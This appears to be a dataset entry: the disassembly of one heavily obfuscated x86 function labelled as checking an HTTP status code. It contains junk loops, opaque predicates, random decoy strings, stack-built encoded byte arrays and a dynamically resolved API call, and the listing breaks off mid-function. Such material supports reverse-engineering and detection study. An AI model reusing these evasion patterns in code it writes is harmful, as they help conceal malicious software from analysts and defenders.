Function at 0x10024f71
Capabilities:
Check http status code

Disassembly:
mov eax, 0x10061f90
call fcn.10060f20
sub esp, 0x54c
push ebx
push esi
push edi
mov dword [ebp - 0x10], esp
mov dword [ebp - 0x208], edx
mov dword [ebp - 0x78], ecx
xor ebx, ebx
mov dword [ebp - 4], ebx
mov dword [ebp - 0x6c], 0x76820624
mov dword [ebp - 0x204], ebx
mov dword [ebp - 0x6c], ebx
jmp 0x10024fce
push 1
push 1
lea eax, [ebp - 0x64]
mov byte [ebp - 0x64], bl
push eax
push 0x4ba9
push 1
mov edx, 0x43c6
mov ecx, 0x25a2
call fcn.10024125
add esp, 0x14
inc dword [ebp - 0x6c]
cmp dword [ebp - 0x6c], 0x11
jle 0x10024fa7
push 0x4775
push 1
lea eax, [ebp - 0x204]
mov edx, 0x6cd5
push eax
push ebx
push 0x739d
lea eax, [ebp - 0x6c]
mov cl, 1
push eax
push 0x267d
call fcn.10024da3
add esp, 0x1c
mov dword [ebp - 0x1bc], ebx
mov dword [ebp - 0x1b8], ebx
mov dword [ebp - 0x1b4], ebx
push 2
lea ecx, [ebp - 0x244]
mov byte [ebp - 4], 1
call fcn.100021e9
mov byte [ebp - 4], 2
mov dword [ebp - 0x2c], 0xffffffff
mov dword [ebp - 0x34], 0x69e
cmp dword [ebp - 0x34], 0x88e
jle 0x100250c7
mov dword [ebp - 0x28], ebx
mov edx, ebx
mov dword [ebp - 0x18], 0x827
mov dword [ebp - 0x14], edx
mov edi, ebx
mov esi, ebx
mov ecx, esi
mov eax, edi
shl eax, cl
lea ecx, [ebp - 0x410]
xor eax, edx
cdq
push edx
push eax
call fcn.10002bac
pop ecx
pop ecx
cmp dword [eax + 0x14], 0x10
jb 0x10025075
mov eax, dword [eax]
push eax
call fcn.1004a753
pop ecx
push ebx
push 1
lea ecx, [ebp - 0x410]
call fcn.10014850
mov edx, dword [ebp - 0x14]
inc esi
cmp esi, 0xd3d
jl 0x10025055
inc edi
cmp edi, 0x7e3a
jl 0x10025053
mov esi, dword [ebp - 0x28]
add edx, esi
dec dword [ebp - 0x18]
mov dword [ebp - 0x14], edx
jne 0x10025051
inc esi
mov dword [ebp - 0x28], esi
cmp esi, 0xfa1
jl 0x10025045
push ebx
push ebx
push 0x157
push ebx
push ebx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
cmp dword [ebp - 0x34], 0x344
jge 0x100250db
push str.wihjmtozh_ymdudvj_noycommcj_miuts_tzzzqau_vqxmi_jro_uqiae_cqp
call fcn.1004a753
pop ecx
push ebx
lea eax, [ebp - 0x244]
mov dword [ebp - 4], 2
push eax
push ecx
lea eax, [ebp - 0x44]
push eax
call fcn.100240e0
add esp, 0x10
mov dword [ebp - 0x44], ebx
push 2
pop ecx
jmp 0x10025110
mov eax, dword [ebp - 0x44]
mov dword [ebp + eax*4 - 0x218], 0x4288a137
inc dword [ebp - 0x44]
cmp dword [ebp - 0x44], ecx
jl 0x100250ff
mov dword [ebp - 0x44], ebx
jmp 0x1002512b
mov eax, dword [ebp - 0x44]
mov dword [ebp + eax*4 - 0x224], 0x9cb6
inc dword [ebp - 0x44]
cmp dword [ebp - 0x44], ecx
jl 0x1002511a
mov edx, dword [ebp - 0x244]
mov dword [ebp - 0x20], edx
mov eax, dword [edx + 4]
mov dword [ebp - 0x214], eax
add eax, eax
mov dword [ebp - 0x2c], eax
mov dword [ebp - 0x18], 0x2917
cmp dword [ebp - 0x18], 0x2c67
jle 0x100251a0
mov esi, ebx
mov edi, ebx
lea eax, [edi + esi]
cdq
lea ecx, [ebp - 0x440]
push edx
push eax
call fcn.10002bac
pop ecx
pop ecx
cmp dword [eax + 0x14], 0x10
jb 0x10025176
mov eax, dword [eax]
push eax
call fcn.1004a753
pop ecx
push ebx
push 1
lea ecx, [ebp - 0x440]
call fcn.10014850
inc edi
cmp edi, 0x4d16
jl 0x1002515b
inc esi
cmp esi, 0x6110
jl 0x10025159
mov edx, dword [ebp - 0x20]
mov eax, dword [ebp - 0x214]
mov dword [ebp - 0x2c], eax
cmp dword [ebp - 0x2c], ebx
je 0x100251ba
mov eax, dword [ebp - 0x220]
mov eax, dword [ebp - 0x214]
mov eax, dword [ebp - 0x224]
xor ecx, ecx
cmp dword [edx + 4], eax
setge cl
imul edx, ecx, 0xfffffff6
mov ecx, dword [ebp - 0x220]
mov eax, dword [ebp - 0x244]
mov eax, dword [eax]
sub eax, ecx
cmp eax, edx
je 0x1002521d
push 1
push 1
lea eax, [ebp - 0x61]
mov byte [ebp - 0x61], bl
push 0x44c7
push eax
xor dl, dl
mov ecx, 0x29bd
call fcn.10024460
add esp, 0x10
mov dword [ebp - 0x2c], ebx
jmp 0x10025215
push ecx
push ebx
push 0x33dd
call fcn.10024b03
add esp, 0xc
inc dword [ebp - 0x2c]
cmp dword [ebp - 0x2c], 8
jne 0x10025203
jmp 0x10025285
mov dword [ebp - 0x2c], 1
cmp dword [ebp - 0x2c], ebx
jl 0x10025258
push 1
lea eax, [ebp - 0x59]
mov byte [ebp - 0x59], bl
push eax
push 0x6a9f
push 0x1ad9
push 0x7a02
push 0x4fef
push 0x2af7
call fcn.1002434f
add esp, 0x1c
dec dword [ebp - 0x2c]
jns 0x10025229
push 0x19bf
push 1
push 0x1088
push 1
push 0x5b47
push 0x722a
push 0x66d4
lea edx, [ebp - 0x62]
mov byte [ebp - 0x62], bl
xor cl, cl
call fcn.10024da3
add esp, 0x1c
cmp dword [ebp - 0x18], 0x2585
jge 0x10025299
push str.ecoacdis_frzjiyti_oha_cjxbel_xjjyjbvxw_elkhff_lmxfqvc_raepgeh_iwnehip_iwbulbk_ullgh_ncgdxmfnf_pbikzrsv
call fcn.1004a753
pop ecx
lea ecx, [ebp - 0x244]
mov dword [ebp - 4], 1
call fcn.10002246
mov dword [ebp - 0x48], 0xffffffff
lea ecx, [ebp - 0x2c0]
mov dword [ebp - 0x48], 0x8ade19d2
xor eax, eax
inc eax
mov dword [ebp - 0x48], eax
mov dword [ebp - 0x48], 0xf37d45db
mov dword [ebp - 0x238], ebx
mov dword [ebp - 0x234], ebx
mov dword [ebp - 0x230], ebx
mov dword [ebp - 0x22c], ebx
push eax
call fcn.100021e9
lea eax, [ebp - 0x2c0]
mov byte [ebp - 4], 7
push eax
push ecx
push ecx
lea edx, [ebp - 0x30c]
xor cl, cl
call fcn.10024234
mov eax, dword [ebp - 0x2c0]
add esp, 0xc
dec dword [eax]
mov byte [ebp - 0x63], bl
mov dword [ebp - 0x14], 0x687c
cmp dword [ebp - 0x14], 0x6907
jle 0x10025365
mov esi, ebx
mov dword [ebp - 0x18], ebx
mov dword [ebp - 0x28], 0x7e72
mov edi, ebx
mov ebx, dword [ebp - 0x18]
mov ecx, edi
mov eax, ebx
sar eax, cl
mov ecx, 0x1007cc18
cdq
push edx
push eax
call fcn.10013d0a
inc edi
cmp edi, 0x56ff
jl 0x10025333
add ebx, esi
dec dword [ebp - 0x28]
push 0
mov dword [ebp - 0x18], ebx
pop ebx
jne 0x1002532e
inc esi
cmp esi, 0x2b6c
jl 0x10025324
push 1
push 1
lea eax, [ebp - 0x63]
mov dl, 1
push eax
push 0x6549
mov ecx, 0x412
call fcn.10024460
add esp, 0x10
mov byte [ebp - 4], 8
cmp dword [ebp - 0x14], 0x65b7
jge 0x1002539d
mov edx, str.vuj_bkwgiu_cwjotxt_qru_mmjtdpx
mov ecx, 0x1007cc18
call fcn.1001875a
push 7
pop esi
mov dword [ebp - 4], esi
lea ecx, [ebp - 0x2c0]
mov byte [ebp - 4], 1
call fcn.10002246
push 7
pop eax
push 0x43
mov byte [ebp - 0xbc], al
mov ecx, ebx
mov byte [ebp - 0xbb], al
pop eax
push 2
mov word [ebp - 0xc4], 0xc106
mov byte [ebp - 0xc2], bl
mov byte [ebp - 0xc1], bl
mov dword [ebp - 0xc0], 0x1c033709
mov dword [ebp - 0xba], 0x170a0a04
mov dword [ebp - 0xb6], 0xd5fefe04
mov dword [ebp - 0xb2], 0xb130175
mov dword [ebp - 0xae], 0x242050e
mov dword [ebp - 0xaa], 0xc0d084e
mov byte [ebp - 0xa6], 2
mov word [ebp - 0x358], ax
pop esi
cmp esi, 0xe
jne 0x1002545d
push 5
pop ecx
push 0x11
pop esi
jmp 0x10025493
movzx edx, byte [ebp + esi - 0xc3]
mov eax, esi
sub eax, ecx
movzx eax, byte [ebp + eax - 0xc6]
movzx eax, word [ebp + eax*2 - 0x364]
mov ecx, eax
and eax, edx
or ecx, edx
sub ecx, eax
movzx eax, byte [ebp + esi - 0xc4]
mov word [ebp + eax*2 - 0x364], cx
mov ecx, ebx
add esi, 2
cmp esi, 0x1f
jb 0x10025428
xor eax, eax
mov word [ebp - 0x34a], ax
mov dword [ebp - 0x18], 0x645e
cmp dword [ebp - 0x18], 0x67d1
jle 0x10025504
mov edi, ebx
mov esi, ebx
mov ecx, esi
mov eax, edi
sar eax, cl
lea ecx, [ebp - 0x458]
cdq
push edx
push eax
call fcn.10002bac
pop ecx
pop ecx
cmp dword [eax + 0x14], 0x10
jb 0x100254d6
mov eax, dword [eax]
push eax
call fcn.1004a753
pop ecx
push ebx
push 1
lea ecx, [ebp - 0x458]
call fcn.10014850
inc esi
cmp esi, 0x1627
jl 0x100254b8
inc edi
cmp edi, 0x74dd
jl 0x100254b6
push ebx
call dword [sym.imp.KERNEL32.dll_UnmapViewOfFile]
mov dword [ebp - 0x30], ebx
cmp dword [ebp - 0x18], 0x62c0
jge 0x1002551b
push str.skeuevfec_obpnnm_dctymvca
call fcn.1004a753
pop ecx
xor eax, eax
lea ecx, [ebp - 0x294]
inc eax
mov dword [ebp - 4], eax
mov dword [ebp - 0x18], 0xfffffff6
mov dword [ebp - 0x18], 0xccc89593
push eax
call fcn.100021e9
push ecx
push ecx
lea eax, [ebp - 0x294]
mov byte [ebp - 4], 0xc
push eax
mov dl, 1
lea ecx, [ebp - 0x348]
call fcn.100246fc
mov ecx, dword [ebp - 0x30]
xor edx, edx
mov eax, dword [ebp - 0x30]
add esp, 0xc
cmp ecx, eax
setl dl
cmp dword [ebp - 0x30], edx
jle 0x10025583
imul eax, dword [ebp - 0x30], 0xa5b7
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 0x18]
imul eax, dword [ebp - 0x30]
test eax, eax
jne 0x10025583
mov eax, ebx
jmp 0x10025586
xor eax, eax
inc eax
mov dword [ebp - 0x18], eax
xor edx, edx
mov ecx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x30]
cmp ecx, eax
mov eax, dword [ebp - 0x30]
setge dl
xor ecx, ecx
cmp edx, eax
mov eax, dword [ebp - 0x294]
push 1
setl cl
xor dl, dl
push 1
mov dword [eax], ecx
mov ecx, 0x2746
push 0x263f
push 0x2c7a
call fcn.10024c32
add esp, 0x10
mov byte [ebp - 4], 1
lea ecx, [ebp - 0x294]
call fcn.10002246
push 7
pop eax
push 0x2d
mov byte [ebp - 0x9c], al
mov ecx, ebx
mov byte [ebp - 0x97], al
pop eax
push 2
mov dword [ebp - 0xa4], 0x4e05f002
mov dword [ebp - 0xa0], 0xc0010204
mov dword [ebp - 0x9b], 0x10d0604
mov byte [ebp - 0x96], bl
mov word [ebp - 0x95], 0x301
mov byte [ebp - 0x93], 0xd
mov word [ebp - 0x2a4], ax
pop esi
cmp esi, 6
jne 0x10025630
push 2
pop ecx
jmp 0x10025668
movzx edx, byte [ebp + esi - 0xa3]
mov eax, esi
sub eax, ecx
movzx eax, byte [ebp + eax - 0xa6]
movzx ecx, word [ebp + eax*2 - 0x2a8]
mov eax, ecx
and eax, edx
add eax, eax
sub ecx, eax
movzx eax, byte [ebp + esi - 0xa4]
add ecx, edx
mov word [ebp + eax*2 - 0x2a8], cx
mov ecx, ebx
add esi, 2
cmp esi, 0x12
jb 0x10025626
xor eax, eax
lea ecx, [ebp - 0x2f0]
mov word [ebp - 0x298], ax
mov dword [ebp - 0x20], 0x2bea
push 2
call fcn.100021e9
push 0x4162
push ebx
push 0x73e6
push ebx
lea eax, [ebp - 0x2f0]
mov byte [ebp - 4], 0xd
push eax
lea eax, [ebp - 0x1e4]
mov edx, 0x7c41
push 0x6912
push eax
mov cl, 1
call fcn.10024da3
add esp, 0x18
mov edx, 0x8b2
push ebx
push ecx
mov ecx, 0x7bd7
call fcn.10024bc0
mov ecx, dword [ebp - 0x20]
add esp, 0xc
mov eax, dword [ebp - 0x2f0]
mov byte [ebp - 4], 1
mov dword [eax], ecx
lea ecx, [ebp - 0x2f0]
call fcn.10002246
xor eax, eax
mov dword [ebp - 0x314], ebx
push 7
pop esi
mov word [ebp - 0x324], ax
lea ecx, [ebp - 0x324]
lea eax, [ebp - 0x2a8]
mov dword [ebp - 0x310], esi
push eax
call fcn.10023986
mov byte [ebp - 4], 0xe
lea ecx, [ebp - 0x340]
xor eax, eax
mov dword [ebp - 0x32c], esi
mov word [ebp - 0x340], ax
lea eax, [ebp - 0x364]
push eax
mov dword [ebp - 0x330], ebx
call fcn.10023986
lea eax, [ebp - 0x340]
push eax
lea ecx, [ebp - 0x3f8]
call fcn.10027453
lea eax, [ebp - 0x324]
push eax
lea ecx, [ebp - 0x3e0]
call fcn.10027453
push ebx
push 1
lea ecx, [ebp - 0x340]
call fcn.10014b87
push ebx
push 1
lea ecx, [ebp - 0x324]
call fcn.10014b87
mov byte [ebp - 4], 0xf
lea eax, [ebp - 0x3c8]
push dword [ebp - 0x1e4]
mov dword [ebp - 0x1b0], ebx
lea ecx, [ebp - 0x1b0]
push eax
lea eax, [ebp - 0x3f8]
mov dword [ebp - 0x1ac], ebx
push eax
mov dword [ebp - 0x1a8], ebx
push ebx
call fcn.100275e2
push fcn.10026e6e
push 1
push 0x30
lea eax, [ebp - 0x3f8]
mov byte [ebp - 4], 0x11
push eax
call fcn.1004a50b
xor eax, eax
lea edi, [ebp - 0x364]
mov ecx, esi
rep stosd dword es:[edi], eax
lea edi, [ebp - 0x2a8]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosw word es:[edi], ax
mov dword [ebp - 0x18], 0x1e3
cmp dword [ebp - 0x18], 0x3c5
jle 0x10025822
mov esi, ebx
mov edi, ebx
mov ecx, edi
mov eax, esi
sar eax, cl
mov ecx, 0x1007cc18
cdq
push edx
push eax
call fcn.10013d0a
inc edi
cmp edi, 0x2cbd
jl 0x100257fd
inc esi
cmp esi, 0x1fa2
jl 0x100257fb
mov byte [ebp - 4], 0x12
cmp dword [ebp - 0x18], 0xfffffed1
jge 0x1002585f
mov edx, str.gwdsq_svrjt_jaeqhvg_hhy_irquddj
mov ecx, 0x1007cc18
call fcn.1001875a
jmp 0x1002585f
mov dword [ebp - 4], 0x11
mov dword [ebp - 0x34], 0x9e57ad95
mov dword [ebp - 0x14], ebx
jmp 0x10025883
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x328], 0x4e2db58
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 1
jl 0x10025872
mov byte [ebp - 0x19], bl
cmp byte [ebp - 0x19], 0
je 0x100258b2
push 1
push ebx
push 0x12e8
push 0x56ee
push ebx
mov edx, 0x7036
mov ecx, 0x4cc5
call fcn.10024125
add esp, 0x14
mov dword [ebp - 0x34], ebx
cmp dword [ebp - 0x34], ebx
jl 0x1002590e
push 2
lea ecx, [ebp - 0x2cc]
call fcn.100021e9
mov byte [ebp - 4], 0x14
mov dword [ebp - 0x14], ebx
jmp 0x100258e3
mov ecx, dword [ebp - 0x14]
mov eax, dword [ebp - 0x2cc]
mov dword [eax + ecx*4], 0xfffffff7
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 2
jl 0x100258d0
lea eax, [ebp - 0x2cc]
push eax
push ecx
mov cl, 1
call fcn.10024c03
pop ecx
pop ecx
lea ecx, [ebp - 0x2cc]
mov byte [ebp - 4], 0x11
call fcn.10002246
dec dword [ebp - 0x34]
jns 0x100258ba
lea eax, [ebp - 0x1b0]
push eax
push 1
lea eax, [ebp + 8]
push eax
push 0x63d9
push ecx
push ecx
mov ecx, 0x2a5a
call fcn.10024513
mov dword [ebp - 0x2c], 0xe9323d1b
xor edx, edx
mov dword [ebp - 0x34], 9
inc edx
mov dword [ebp - 0x38], 0xae28de6
xor ecx, ecx
mov dword [ebp - 0x30], 0x510afbd1
add esp, 0x18
mov dword [ebp - 0x74], edx
mov dword [ebp - 0x20], 0x4679f786
mov eax, dword [ebp - 0x34]
cmp eax, 0x837a
setne cl
xor eax, eax
add ecx, 0xb0e8
cmp ecx, edx
setle al
xor ecx, ecx
mov dword [ebp - 0x38], eax
mov eax, dword [ebp - 0x38]
mov dword [ebp - 0x30], eax
mov eax, dword [ebp - 0x30]
add eax, 0x5378470e
cmp eax, edx
mov eax, dword [ebp - 0x34]
setg cl
xor edx, edx
cmp ecx, eax
mov ecx, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x2c]
setle dl
mov dword [ebp - 0x18], edx
xor edx, edx
cmp ecx, eax
setge dl
imul edx, dword [ebp - 0x2c]
cmp edx, dword [ebp - 0x18]
je 0x100259b0
mov eax, dword [ebp - 0x38]
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x38]
mov dword [ebp - 0x24], 0x19b885b3
mov dword [ebp - 0x28], 0xd6158f8
mov dword [ebp - 0x18], 0x5aca64a9
mov dword [ebp - 0x14], ebx
jmp 0x100259e1
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x19c], 1
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 3
jl 0x100259d0
mov eax, dword [ebp - 0x34]
mov ecx, dword [ebp - 0x24]
mov eax, dword [ebp - 0x19c]
sub ecx, eax
cmp ecx, dword [ebp - 0x38]
jl 0x10025a00
mov eax, dword [ebp - 0x19c]
mov ecx, dword [ebp - 0x30]
sub ecx, dword [ebp - 0x38]
mov eax, dword [ebp - 0x28]
neg ecx
sbb ecx, ecx
xor edx, edx
add ecx, 2
cmp ecx, eax
mov eax, dword [ebp - 0x38]
setle dl
xor ecx, ecx
add edx, 0x2b0a94fe
cmp edx, eax
setl cl
sub ecx, dword [ebp - 0x24]
je 0x10025a7e
mov dword [ebp - 0x20], 0xffffffff
xor edx, edx
mov dword [ebp - 0x18], ebx
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x34]
mov dword [ebp - 0x30], 0x93632cac
mov eax, 0x89e7675d
mov dword [ebp - 0x198], eax
mov dword [ebp - 0x38], eax
mov ecx, dword [ebp - 0x30]
mov eax, dword [ebp - 0x38]
cmp ecx, eax
mov eax, dword [ebp - 0x28]
setne dl
xor ecx, ecx
cmp edx, eax
mov eax, dword [ebp - 0x20]
setg cl
mov dword [ebp - 0x18], ecx
xor ecx, ecx
cmp dword [ebp - 0x18], eax
setg cl
mov dword [ebp - 0x18], ecx
jmp 0x10025be7
mov dword [ebp - 0x14], 6
mov dword [ebp - 0x24], 0xed5c0eb
mov dword [ebp - 0x48], 1
mov dword [ebp - 0x24], ebx
jmp 0x10025aa9
mov eax, dword [ebp - 0x24]
mov dword [ebp + eax*4 - 0x8c], 0xfb40acb4
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], 1
jl 0x10025a98
mov dword [ebp - 0x2c], ebx
cmp dword [ebp - 0x2c], 2
jg 0x10025bd4
push 7
pop esi
push 4
mov dword [ebp - 0x1f0], 0x62155b9
mov eax, dword [ebp - 0x28]
pop ecx
sub ecx, eax
je 0x10025af2
mov eax, dword [ebp - 0x34]
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp + eax*4 - 0x19c]
mov eax, dword [ebp - 0x14]
cmp dword [ebp - 0x18], ebx
jne 0x10025aed
cmp dword [ebp - 0x14], ebx
je 0x10025af2
xor edx, edx
inc edx
jmp 0x10025af4
mov edx, ebx
mov eax, dword [ebp - 0x14]
xor ecx, ecx
cmp edx, eax
setge cl
xor edx, edx
mov dword [ebp - 0x24], ecx
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp + eax*4 - 0x19c]
mov eax, dword [ebp - 0x34]
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0x8c], 0xffffffff
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp + eax*4 - 0x19c]
mov eax, dword [ebp - 0x2c]
mov ecx, dword [ebp + eax*4 - 0x19c]
mov eax, dword [ebp - 0x30]
cmp ecx, eax
mov eax, dword [ebp - 0x38]
setl dl
xor ecx, ecx
cmp edx, eax
mov eax, dword [ebp - 0x2c]
setle cl
xor edx, edx
cmp ecx, 0xedf4
setle dl
xor ecx, ecx
mov dword [ebp + eax*4 - 0x19c], edx
mov dword [ebp - 0x30], edx
mov edx, dword [ebp - 0x1f0]
add edx, dword [ebp - 0x30]
imul edx, dword [ebp - 0x38]
mov eax, dword [ebp - 0x18]
cmp eax, edx
setne cl
mov dword [ebp - 0x30], ecx
mov eax, dword [ebp - 0x30]
mov eax, dword [ebp - 0x74]
mov eax, dword [ebp - 0x24]
mov dword [ebp - 0x8c], eax
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x8c]
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x38]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x38]
mov eax, dword [ebp - 0x38]
mov eax, dword [ebp - 0x48]
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x8c]
cmp esi, eax
mov eax, dword [ebp - 0x20]
sbb edx, edx
xor ecx, ecx
neg edx
cmp edx, eax
sete cl
mov dword [ebp - 0x24], ecx
inc dword [ebp - 0x2c]
cmp dword [ebp - 0x2c], 2
jle 0x10025abf
push 0x6a0
push 1
mov ecx, 0x2883
call fcn.100246c0
pop ecx
pop ecx
push ebx
push 0x1041
push 0x125d
call fcn.10040adf
pop ecx
pop ecx
call eax
push ebx
lea eax, [ebp - 0x5a]
mov dword [ebp - 0x20c], 0xea5d6c05
push eax
push 0x78e4
push 0x3537
push 0x475a
push 1
push 0x3451
push 0x55f4
push 1
push 0x752e
mov byte [ebp - 0x5a], bl
mov edx, 0x33ca
push 0x767
mov ecx, 0x45ce
call fcn.1002489f
add esp, 0x2c
lea edx, [ebp - 0x20c]
mov ecx, 0x78ed
push 1
push 1
push 0x63ed
push 1
push 0x6e72
call fcn.1002480d
xor ecx, ecx
add esp, 0x14
inc ecx
mov dword [ebp - 0x14], ecx
mov dword [ebp - 0x14], ebx
jmp 0x10025c85
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x344], 0x624039b
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], ecx
jl 0x10025c74
mov dword [ebp - 0x14], ebx
jmp 0x10025cad
cmp byte [ebp - 0x19], 0
je 0x10025caa
push ecx
push 0x684a
mov ecx, 0x3ecc
call fcn.100240a3
pop ecx
pop ecx
xor ecx, ecx
inc ecx
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], ebx
mov byte [ebp - 0x19], bl
jle 0x10025c8f
cmp byte [ebp - 0x19], 0
je 0x10025cf8
push ecx
push 0x77f9
push 0x1c13
push 0x2591
push 0x488f
push ecx
push 0x60ea
push 0x527b
push ecx
push 0x5665
push 0x5cdd
mov edx, 0x64a0
mov ecx, 0x4e62
call fcn.1002489f
add esp, 0x2c
mov dword [ebp - 0x14], 0x69fdf99f
xor eax, eax
mov dword [ebp - 0x200], 1
mov word [ebp - 0x238], ax
mov dword [ebp - 0x14], ebx
jmp 0x10025d28
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x1a0], 0xbacd7953
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 1
jl 0x10025d17
mov dword [ebp - 0x14], 0x14
jmp 0x10025d7e
mov dword [ebp - 0x24], 0x85bf25cb
mov dword [ebp - 0x24], ebx
jmp 0x10025d5a
mov eax, dword [ebp - 0x24]
mov ecx, dword [ebp + eax*4 - 0x1a0]
mov eax, dword [ebp - 0x24]
mov dword [ebp + eax*4 - 0x1a0], ecx
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], ebx
jle 0x10025d43
push ebx
push ebx
push 0x1c00
push 0x199d
mov dl, 1
lea ecx, [ebp - 0x200]
call fcn.10024460
add esp, 0x10
dec dword [ebp - 0x14]
cmp dword [ebp - 0x14], 0xffffffea
jl 0x10025d37
mov dword [ebp - 0x50], ebx
mov dword [ebp - 0x14], ebx
jmp 0x10025d9d
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x288], 0xfffffffe
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 4
jl 0x10025d8c
mov dword [ebp - 0x280], ebx
jmp 0x10025dcd
push ebx
push 1
push 0xb6e
push 0x56b6
mov dl, 1
mov ecx, 0x1c8f
call fcn.10024460
add esp, 0x10
inc dword [ebp - 0x280]
cmp dword [ebp - 0x280], 0xf
je 0x10025dab
push 7
pop eax
push 0x39
mov byte [ebp - 0x108], al
mov ecx, ebx
mov byte [ebp - 0xe3], al
pop eax
push 2
mov dword [ebp - 0x118], 0xf21460d
mov dword [ebp - 0x114], 0x190e021d
mov dword [ebp - 0x110], 0x72156e04
mov dword [ebp - 0x10c], 0x7d147511
mov dword [ebp - 0x107], 0x16151801
mov dword [ebp - 0x103], 0x378226c
mov dword [ebp - 0xff], 0x3090501
mov dword [ebp - 0xfb], 0x8ee1460
mov dword [ebp - 0xf7], 0x24700c75
mov dword [ebp - 0xf3], 0xf09100c
mov byte [ebp - 0xef], bl
mov dword [ebp - 0xee], 0x75067401
mov byte [ebp - 0xea], 0x19
mov byte [ebp - 0xe9], bl
mov byte [ebp - 0xe8], 0x1c
mov byte [ebp - 0xe7], bl
mov word [ebp - 0xe6], 0x417
mov byte [ebp - 0xe4], 0xb
mov dword [ebp - 0xe2], 0x7302041f
mov dword [ebp - 0xde], 0x1913700a
mov dword [ebp - 0xda], 0x14091420
mov dword [ebp - 0xd6], 0x3236b1e
mov word [ebp - 0xd2], 0x61b
mov byte [ebp - 0xd0], bl
mov dword [ebp - 0xcf], 0x1a062538
mov word [ebp - 0xcb], 0x124d
mov byte [ebp - 0xc9], 2
mov word [ebp - 0x4a6], ax
pop esi
cmp esi, 0x1c
jne 0x10025ef0
push 4
pop ecx
push 0x1e
pop esi
jmp 0x10025f28
movzx edx, byte [ebp + esi - 0x117]
mov eax, esi
sub eax, ecx
movzx eax, byte [ebp + eax - 0x11a]
movzx ecx, word [ebp + eax*2 - 0x4c0]
mov eax, ecx
and eax, edx
add eax, eax
sub ecx, eax
movzx eax, byte [ebp + esi - 0x118]
add ecx, edx
mov word [ebp + eax*2 - 0x4c0], cx
mov ecx, ebx
add esi, 2
cmp esi, 0x50
jb 0x10025ee3
xor eax, eax
lea ecx, [ebp - 0x268]
push 2
mov word [ebp - 0x474], ax
call fcn.100021e9
mov byte [ebp - 4], 0x15
lea eax, [ebp - 0x268]
mov dword [ebp - 0x20], 0xfffffff7
lea ecx, [ebp - 0x40]
push ebx
mov dword [ebp - 0x14], 0xbb0f55f5
mov dl, 1
push 1
mov dword [ebp - 0x28], 0xa280505b
mov dword [ebp - 0x20], 0xe72b4cd9
push 0x1e5b
mov dword [ebp - 0x20], 0xdda3982a
mov dword [ebp - 0x48], ebx
push eax
call fcn.10024c32
add esp, 0x10
mov dword [ebp - 0x40], ebx
jmp 0x10025f9f
mov eax, dword [ebp - 0x40]
mov dword [ebp + eax*4 - 0x54], 0x278b7212
inc dword [ebp - 0x40]
cmp dword [ebp - 0x40], 1
jl 0x10025f91
mov dword [ebp - 0x40], ebx
jmp 0x10025fbb
mov eax, dword [ebp - 0x40]
mov dword [ebp + eax*4 - 0x3c8], 0xb43b78c3
inc dword [ebp - 0x40]
cmp dword [ebp - 0x40], 4
jl 0x10025faa
mov eax, dword [ebp - 0x54]
mov esi, dword [ebp - 0x268]
mov eax, dword [ebp - 0x54]
mov dword [esi + 4], ebx
mov dword [ebp - 0x20], eax
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x28]
cmp dword [ebp - 0x14], ebx
jne 0x10025fea
cmp dword [ebp - 0x28], ebx
jne 0x10025fea
mov ecx, ebx
jmp 0x10025fed
xor ecx, ecx
inc ecx
mov eax, dword [ebp - 0x268]
xor edx, edx
cmp ecx, dword [eax]
mov eax, dword [ebp - 0x54]
setle dl
xor ecx, ecx
cmp edx, eax
setne cl
cmp ecx, 1
sbb eax, eax
xor ecx, ecx
inc eax
mov dword [ebp - 0x28], eax
mov eax, dword [ebp - 0x28]
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x14]
cmp eax, dword [esi + 4]
setge cl
mov dword [ebp - 0x3c8], ecx
mov eax, dword [ebp - 0x54]
mov edx, dword [esi + 4]
xor eax, eax
test edx, edx
setne al
xor ecx, ecx
cmp eax, edx
setge cl
sub ecx, 0x71eb
neg ecx
sbb ecx, ecx
xor eax, eax
inc ecx
cmp ecx, edx
setne al
xor edx, edx
imul ecx, eax, 0x5619
mov eax, dword [ebp - 0x54]
cmp ecx, eax
mov eax, dword [ebp - 0x54]
mov ecx, 0xa11ad519
setg dl
sub edx, 0x491
neg edx
sbb edx, edx
inc edx
mov dword [esi + 4], edx
mov dword [ebp - 0x20], 1
mov eax, dword [ebp - 0x20]
cmp ecx, eax
mov ecx, 0xacb588f4
sbb eax, eax
neg eax
mov dword [ebp - 0x20], eax
mov eax, dword [ebp - 0x20]
cmp ecx, eax
mov eax, dword [ebp - 0x54]
sbb ecx, ecx
xor edx, edx
inc ecx
add ecx, eax
mov eax, dword [ebp - 0x54]
cmp eax, ecx
